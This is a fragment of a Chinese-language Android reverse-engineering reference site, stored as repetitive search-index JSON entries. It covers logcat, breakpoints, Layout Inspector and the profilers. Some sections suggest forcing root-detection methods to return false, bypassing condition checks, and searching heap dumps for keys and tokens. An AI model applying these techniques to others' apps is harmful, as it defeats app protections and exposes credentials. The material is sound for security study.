adb logcat -v threadtime # 显示线程时间 adb logcat -v long # 详细格式 adb logcat -v color # 彩色输出 # 常用组合 adb logcat *:E # 只显示 Error adb logcat -s MyTag # 只显示特定 Tag adb logcat -b crash # 查看崩溃日志 adb logcat -c # 清空日志缓冲区 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#14-自定义日志格式"},{"categories":null,"collections":null,"content":"1.5 逆向应用场景 敏感信息泄露检测 很多 App 在开发阶段会留下调试日志 可能包含：加密前的请求参数、明文密钥、服务器响应 工作流程分析 # 观察 App 启动流程 adb logcat | grep -E \"(onCreate|onResume|Activity)\" # 追踪网络请求 adb logcat | grep -i \"http\\|request\\|response\" 崩溃分析 # 捕获 ANR adb logcat -b events | grep \"am_anr\" # 获取 Native 崩溃 adb logcat | grep -A 50 \"FATAL EXCEPTION\" ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:1:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#15-逆向应用场景"},{"categories":null,"collections":null,"content":"2. Java/Kotlin 调试器 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#2-javakotlin-调试器"},{"categories":null,"collections":null,"content":"2.1 基本调试操作 操作 Windows/Linux macOS 描述 切换断点 Ctrl+F8 Cmd+F8 在当前行添加/移除断点 步过 (Step Over) F8 F8 执行当前行，不进入方法 步入 (Step Into) F7 F7 进入当前方法 强制步入 Alt+Shift+F7 Option+Shift+F7 进入任何方法（包括库方法） 步出 (Step Out) Shift+F8 Shift+F8 执行完当前方法并返回 运行到光标 Alt+F9 Option+F9 运行到光标所在行 恢复程序 F9 Cmd+Option+R 继续执行到下一个断点 计算表达式 Alt+F8 Option+F8 在调试时计算任意表达式 查看变量 Ctrl+Shift+I Cmd+Shift+I 快速查看变量值 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#21-基本调试操作"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#22-断点类型详解"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#221-行断点-line-breakpoint"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#222-条件断点-conditional-breakpoint"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#223-方法断点-method-breakpoint"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#224-字段断点-field-watchpoint"},{"categories":null,"collections":null,"content":"2.2 断点类型详解 2.2.1 行断点 (Line Breakpoint) 最常用的断点类型，程序执行到该行时暂停。 // 在这行设置断点 String result = encrypt(data); // \u003c-- 断点 2.2.2 条件断点 (Conditional Breakpoint) 只有满足条件时才暂停： // 右键断点 -\u003e 设置条件 // 条件示例： userId.equals(\"12345\") list.size() \u003e 100 response.code() == 401 2.2.3 方法断点 (Method Breakpoint) 在方法入口或出口暂停： // 在方法签名行设置断点 public String encrypt(String data) { // \u003c-- 方法断点 // 可以选择在进入或退出时暂停 } 2.2.4 字段断点 (Field Watchpoint) 当字段被读取或修改时暂停： private String secretKey; // \u003c-- 字段断点 // 任何读取或修改 secretKey 的代码都会触发 2.2.5 异常断点 (Exception Breakpoint) 捕获特定异常： Run -\u003e View Breakpoints -\u003e + -\u003e Java Exception Breakpoints 添加: java.lang.NullPointerException 添加: javax.crypto.BadPaddingException ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#225-异常断点-exception-breakpoint"},{"categories":null,"collections":null,"content":"2.3 高级调试技巧 2.3.1 Evaluate Expression (计算表达式) 在断点处可以执行任意代码： // 断点暂停时，按 Alt+F8 打开计算窗口 // 可以执行： this.getClass().getName() Arrays.toString(encryptedBytes) new String(Base64.decode(token, 0)) ((OkHttpClient) client).dispatcher().executorService() 2.3.2 修改变量值 在调试过程中动态修改变量： 1. 在 Variables 面板找到变量 2. 右键 -\u003e Set Value 3. 输入新值 // 应用场景： // - 绕过条件检查 // - 修改加密参数测试 // - 模拟不同的服务器响应 2.3.3 强制返回 (Force Return) 强制方法返回指定值： 1. 在方法内断点暂停 2. 右键 -\u003e Force Return 3. 输入返回值 // 应用场景： // - 绕过 root 检测方法，强制返回 false // - 跳过耗时操作 2.3.4 丢弃帧 (Drop Frame) 回退到方法调用前的状态： 1. 在调用栈面板选择帧 2. 右键 -\u003e Drop Frame 3. 程序回到该方法调用前 // 注意：不会撤销已经产生的副作用 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#23-高级调试技巧"},{"categories":null,"collections":null,"content":"2.3 高级调试技巧 2.3.1 Evaluate Expression (计算表达式) 在断点处可以执行任意代码： // 断点暂停时，按 Alt+F8 打开计算窗口 // 可以执行： this.getClass().getName() Arrays.toString(encryptedBytes) new String(Base64.decode(token, 0)) ((OkHttpClient) client).dispatcher().executorService() 2.3.2 修改变量值 在调试过程中动态修改变量： 1. 在 Variables 面板找到变量 2. 右键 -\u003e Set Value 3. 输入新值 // 应用场景： // - 绕过条件检查 // - 修改加密参数测试 // - 模拟不同的服务器响应 2.3.3 强制返回 (Force Return) 强制方法返回指定值： 1. 在方法内断点暂停 2. 右键 -\u003e Force Return 3. 输入返回值 // 应用场景： // - 绕过 root 检测方法，强制返回 false // - 跳过耗时操作 2.3.4 丢弃帧 (Drop Frame) 回退到方法调用前的状态： 1. 在调用栈面板选择帧 2. 右键 -\u003e Drop Frame 3. 程序回到该方法调用前 // 注意：不会撤销已经产生的副作用 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#231-evaluate-expression-计算表达式"},{"categories":null,"collections":null,"content":"2.3 高级调试技巧 2.3.1 Evaluate Expression (计算表达式) 在断点处可以执行任意代码： // 断点暂停时，按 Alt+F8 打开计算窗口 // 可以执行： this.getClass().getName() Arrays.toString(encryptedBytes) new String(Base64.decode(token, 0)) ((OkHttpClient) client).dispatcher().executorService() 2.3.2 修改变量值 在调试过程中动态修改变量： 1. 在 Variables 面板找到变量 2. 右键 -\u003e Set Value 3. 输入新值 // 应用场景： // - 绕过条件检查 // - 修改加密参数测试 // - 模拟不同的服务器响应 2.3.3 强制返回 (Force Return) 强制方法返回指定值： 1. 在方法内断点暂停 2. 右键 -\u003e Force Return 3. 输入返回值 // 应用场景： // - 绕过 root 检测方法，强制返回 false // - 跳过耗时操作 2.3.4 丢弃帧 (Drop Frame) 回退到方法调用前的状态： 1. 在调用栈面板选择帧 2. 右键 -\u003e Drop Frame 3. 程序回到该方法调用前 // 注意：不会撤销已经产生的副作用 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#232-修改变量值"},{"categories":null,"collections":null,"content":"2.3 高级调试技巧 2.3.1 Evaluate Expression (计算表达式) 在断点处可以执行任意代码： // 断点暂停时，按 Alt+F8 打开计算窗口 // 可以执行： this.getClass().getName() Arrays.toString(encryptedBytes) new String(Base64.decode(token, 0)) ((OkHttpClient) client).dispatcher().executorService() 2.3.2 修改变量值 在调试过程中动态修改变量： 1. 在 Variables 面板找到变量 2. 右键 -\u003e Set Value 3. 输入新值 // 应用场景： // - 绕过条件检查 // - 修改加密参数测试 // - 模拟不同的服务器响应 2.3.3 强制返回 (Force Return) 强制方法返回指定值： 1. 在方法内断点暂停 2. 右键 -\u003e Force Return 3. 输入返回值 // 应用场景： // - 绕过 root 检测方法，强制返回 false // - 跳过耗时操作 2.3.4 丢弃帧 (Drop Frame) 回退到方法调用前的状态： 1. 在调用栈面板选择帧 2. 右键 -\u003e Drop Frame 3. 程序回到该方法调用前 // 注意：不会撤销已经产生的副作用 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#233-强制返回-force-return"},{"categories":null,"collections":null,"content":"2.3 高级调试技巧 2.3.1 Evaluate Expression (计算表达式) 在断点处可以执行任意代码： // 断点暂停时，按 Alt+F8 打开计算窗口 // 可以执行： this.getClass().getName() Arrays.toString(encryptedBytes) new String(Base64.decode(token, 0)) ((OkHttpClient) client).dispatcher().executorService() 2.3.2 修改变量值 在调试过程中动态修改变量： 1. 在 Variables 面板找到变量 2. 右键 -\u003e Set Value 3. 输入新值 // 应用场景： // - 绕过条件检查 // - 修改加密参数测试 // - 模拟不同的服务器响应 2.3.3 强制返回 (Force Return) 强制方法返回指定值： 1. 在方法内断点暂停 2. 右键 -\u003e Force Return 3. 输入返回值 // 应用场景： // - 绕过 root 检测方法，强制返回 false // - 跳过耗时操作 2.3.4 丢弃帧 (Drop Frame) 回退到方法调用前的状态： 1. 在调用栈面板选择帧 2. 右键 -\u003e Drop Frame 3. 程序回到该方法调用前 // 注意：不会撤销已经产生的副作用 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#234-丢弃帧-drop-frame"},{"categories":null,"collections":null,"content":"2.4 附加到运行中的进程 Run -\u003e Attach Debugger to Android Process 选择目标进程 -\u003e Attach # 要求： # 1. App 必须是 debuggable=true # 2. 或者设备是 userdebug/eng 版本 # 3. 或者使用 Magisk 模块开启全局可调试 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#24-附加到运行中的进程"},{"categories":null,"collections":null,"content":"2.5 逆向调试技巧 // 1. Hook 前的变量观察 // 在关键加密方法前设置断点，观察参数 // 2. 追踪调用栈 // 断点暂停时查看 Call Stack 面板 // 了解方法是从哪里被调用的 // 3. 使用日志断点（不暂停，只打印） // 右键断点 -\u003e Suspend: 取消勾选 // 设置 Log 表达式: \"param=\" + param ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:2:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#25-逆向调试技巧"},{"categories":null,"collections":null,"content":"3. 布局检查器 (Layout Inspector) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#3-布局检查器-layout-inspector"},{"categories":null,"collections":null,"content":"3.1 基本概念 Layout Inspector 是一个强大的可视化工具，允许你实时检查和调试正在运行的应用的视图层次结构。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#31-基本概念"},{"categories":null,"collections":null,"content":"3.2 核心功能 功能 描述 3D 视图层次 以 3D 可旋转的视图展示 View 嵌套关系 属性查看 查看任意 View 的所有属性 实时更新 设备上操作 UI 时同步更新 重叠视图定位 发现被遮挡或不可见的视图 Compose 支持 支持 Jetpack Compose UI 检查 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#32-核心功能"},{"categories":null,"collections":null,"content":"3.3 使用步骤 1. 运行 App（Debug 模式） 2. Tools -\u003e Layout Inspector 3. 选择进程 4. 等待视图层次加载 # 新版 Android Studio 可以： View -\u003e Tool Windows -\u003e App Inspection -\u003e Layout Inspector ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#33-使用步骤"},{"categories":null,"collections":null,"content":"3.4 属性检查详解 常用属性： - id: View 的资源 ID（用于自动化脚本） - text: 文本内容 - contentDescription: 无障碍描述 - visibility: 可见性状态 - clickable: 是否可点击 - alpha: 透明度 - elevation: 阴影高度 - background: 背景 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#34-属性检查详解"},{"categories":null,"collections":null,"content":"3.5 逆向应用场景 自动化脚本开发 # UIAutomator2 示例 # 使用 Layout Inspector 获取的 resource-id d(resourceId=\"com.example:id/login_btn\").click() d(className=\"android.widget.EditText\", instance=0).set_text(\"username\") 分析自定义 View 查看自定义 View 的属性 理解复杂布局的层次结构 检测反截图机制 // 检查是否有 FLAG_SECURE 窗口 // 在 Layout Inspector 中查找 // WindowManager.LayoutParams.FLAG_SECURE = 0x2000 分析 WebView 查看 WebView 的 URL 检查 WebView 的 JavaScript 接口 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:3:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#35-逆向应用场景"},{"categories":null,"collections":null,"content":"4. 应用分析器 (Profiler) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#4-应用分析器-profiler"},{"categories":null,"collections":null,"content":"4.1 概述 Profiler 是一套用于实时分析应用性能的工具，主要关注 CPU、内存、网络和电量四个方面。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#41-概述"},{"categories":null,"collections":null,"content":"4.2 CPU Profiler 4.2.1 方法追踪模式 模式 精度 开销 适用场景 Sample Java/Kotlin 低 低 一般性能分析 Trace Java/Kotlin 高 高 精确方法追踪 Sample C/C++ 低 低 Native 性能分析 Trace System Calls 高 中 系统调用分析 4.2.2 火焰图分析 1. 点击 Record 开始记录 2. 在 App 中执行目标操作 3. 点击 Stop 停止记录 4. 分析结果： - Top Down: 从调用者到被调用者 - Bottom Up: 从被调用者到调用者 - Flame Chart: 火焰图可视化 - Call Chart: 调用图表 4.2.3 逆向应用 // 追踪加密函数的完整调用链 // 1. 设置过滤条件只显示 App 的包名 // 2. 记录加密操作 // 3. 在火焰图中查找： // - javax.crypto.* // - java.security.* // - 自定义加密类 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#42-cpu-profiler"},{"categories":null,"collections":null,"content":"4.2 CPU Profiler 4.2.1 方法追踪模式 模式 精度 开销 适用场景 Sample Java/Kotlin 低 低 一般性能分析 Trace Java/Kotlin 高 高 精确方法追踪 Sample C/C++ 低 低 Native 性能分析 Trace System Calls 高 中 系统调用分析 4.2.2 火焰图分析 1. 点击 Record 开始记录 2. 在 App 中执行目标操作 3. 点击 Stop 停止记录 4. 分析结果： - Top Down: 从调用者到被调用者 - Bottom Up: 从被调用者到调用者 - Flame Chart: 火焰图可视化 - Call Chart: 调用图表 4.2.3 逆向应用 // 追踪加密函数的完整调用链 // 1. 设置过滤条件只显示 App 的包名 // 2. 记录加密操作 // 3. 在火焰图中查找： // - javax.crypto.* // - java.security.* // - 自定义加密类 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#421-方法追踪模式"},{"categories":null,"collections":null,"content":"4.2 CPU Profiler 4.2.1 方法追踪模式 模式 精度 开销 适用场景 Sample Java/Kotlin 低 低 一般性能分析 Trace Java/Kotlin 高 高 精确方法追踪 Sample C/C++ 低 低 Native 性能分析 Trace System Calls 高 中 系统调用分析 4.2.2 火焰图分析 1. 点击 Record 开始记录 2. 在 App 中执行目标操作 3. 点击 Stop 停止记录 4. 分析结果： - Top Down: 从调用者到被调用者 - Bottom Up: 从被调用者到调用者 - Flame Chart: 火焰图可视化 - Call Chart: 调用图表 4.2.3 逆向应用 // 追踪加密函数的完整调用链 // 1. 设置过滤条件只显示 App 的包名 // 2. 记录加密操作 // 3. 在火焰图中查找： // - javax.crypto.* // - java.security.* // - 自定义加密类 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#422-火焰图分析"},{"categories":null,"collections":null,"content":"4.2 CPU Profiler 4.2.1 方法追踪模式 模式 精度 开销 适用场景 Sample Java/Kotlin 低 低 一般性能分析 Trace Java/Kotlin 高 高 精确方法追踪 Sample C/C++ 低 低 Native 性能分析 Trace System Calls 高 中 系统调用分析 4.2.2 火焰图分析 1. 点击 Record 开始记录 2. 在 App 中执行目标操作 3. 点击 Stop 停止记录 4. 分析结果： - Top Down: 从调用者到被调用者 - Bottom Up: 从被调用者到调用者 - Flame Chart: 火焰图可视化 - Call Chart: 调用图表 4.2.3 逆向应用 // 追踪加密函数的完整调用链 // 1. 设置过滤条件只显示 App 的包名 // 2. 记录加密操作 // 3. 在火焰图中查找： // - javax.crypto.* // - java.security.* // - 自定义加密类 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#423-逆向应用"},{"categories":null,"collections":null,"content":"4.3 Memory Profiler 4.3.1 内存区域 区域 描述 Java Java/Kotlin 对象堆 Native C/C++ 分配的内存 Graphics 图形缓冲区 Stack 线程栈内存 Code 代码和资源内存 Others 其他系统内存 4.3.2 堆转储分析 1. 点击 Dump Java Heap 2. 等待堆转储完成 3. 分析内容： - Allocations: 对象分配数量 - Shallow Size: 对象自身大小 - Retained Size: 对象及其引用的总大小 # 常用过滤： - 按类名过滤 - 按包名过滤 - 只显示 App 的类 4.3.3 逆向应用：内存中寻找敏感数据 // 场景：App 解密数据后存储在内存中 // 步骤： // 1. 在 App 加载数据后进行 Heap Dump // 2. 搜索可能的类名： // - *Key* // - *Secret* // - *Token* // - *Password* // 3. 查看对象的字段值 // 常见目标类： // - java.lang.String // - byte[] // - char[] // - SecretKeySpec // - PrivateKey ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#43-memory-profiler"},{"categories":null,"collections":null,"content":"4.3 Memory Profiler 4.3.1 内存区域 区域 描述 Java Java/Kotlin 对象堆 Native C/C++ 分配的内存 Graphics 图形缓冲区 Stack 线程栈内存 Code 代码和资源内存 Others 其他系统内存 4.3.2 堆转储分析 1. 点击 Dump Java Heap 2. 等待堆转储完成 3. 分析内容： - Allocations: 对象分配数量 - Shallow Size: 对象自身大小 - Retained Size: 对象及其引用的总大小 # 常用过滤： - 按类名过滤 - 按包名过滤 - 只显示 App 的类 4.3.3 逆向应用：内存中寻找敏感数据 // 场景：App 解密数据后存储在内存中 // 步骤： // 1. 在 App 加载数据后进行 Heap Dump // 2. 搜索可能的类名： // - *Key* // - *Secret* // - *Token* // - *Password* // 3. 查看对象的字段值 // 常见目标类： // - java.lang.String // - byte[] // - char[] // - SecretKeySpec // - PrivateKey ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#431-内存区域"},{"categories":null,"collections":null,"content":"4.3 Memory Profiler 4.3.1 内存区域 区域 描述 Java Java/Kotlin 对象堆 Native C/C++ 分配的内存 Graphics 图形缓冲区 Stack 线程栈内存 Code 代码和资源内存 Others 其他系统内存 4.3.2 堆转储分析 1. 点击 Dump Java Heap 2. 等待堆转储完成 3. 分析内容： - Allocations: 对象分配数量 - Shallow Size: 对象自身大小 - Retained Size: 对象及其引用的总大小 # 常用过滤： - 按类名过滤 - 按包名过滤 - 只显示 App 的类 4.3.3 逆向应用：内存中寻找敏感数据 // 场景：App 解密数据后存储在内存中 // 步骤： // 1. 在 App 加载数据后进行 Heap Dump // 2. 搜索可能的类名： // - *Key* // - *Secret* // - *Token* // - *Password* // 3. 查看对象的字段值 // 常见目标类： // - java.lang.String // - byte[] // - char[] // - SecretKeySpec // - PrivateKey ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#432-堆转储分析"},{"categories":null,"collections":null,"content":"4.3 Memory Profiler 4.3.1 内存区域 区域 描述 Java Java/Kotlin 对象堆 Native C/C++ 分配的内存 Graphics 图形缓冲区 Stack 线程栈内存 Code 代码和资源内存 Others 其他系统内存 4.3.2 堆转储分析 1. 点击 Dump Java Heap 2. 等待堆转储完成 3. 分析内容： - Allocations: 对象分配数量 - Shallow Size: 对象自身大小 - Retained Size: 对象及其引用的总大小 # 常用过滤： - 按类名过滤 - 按包名过滤 - 只显示 App 的类 4.3.3 逆向应用：内存中寻找敏感数据 